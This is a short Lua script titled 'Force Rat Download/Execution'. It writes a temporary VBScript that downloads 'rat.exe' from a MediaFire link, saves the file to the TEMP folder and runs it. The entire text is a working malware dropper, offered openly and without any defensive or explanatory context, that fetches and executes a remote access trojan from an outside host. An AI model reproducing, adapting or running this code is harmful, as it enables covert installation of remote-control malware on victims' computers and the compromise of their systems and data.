Lua: Force Rat Download/Execution

local link = "http://www.mediafire.com/download/buva5uubkj7czb9/rat.exe"
local script = [[
Dim o
Set o = CreateObject("MSXML2.XMLHTTP")
o.open "GET", "]]..link..[[", False
o.send
Wscript.Echo(o.ResponseText)
]]
local tmp = os.getenv("TEMP")
local tnm = os.tmpname()
local vbs = io.open(tmp .. '/' .. tnm .. ".vbs", 'w')
vbs:write(script)
vbs:close()
local x, y = io.popen("cscript -nologo " .. tmp .. '/' .. tnm .. ".vbs")
repeat
    wait()
    y = x:read "*a"
until y
x:close()
local rat = io.open(tmp .. "/rat.exe", "w")
rat:write(y)
rat:close()
os.execute(tmp .. "/rat.exe")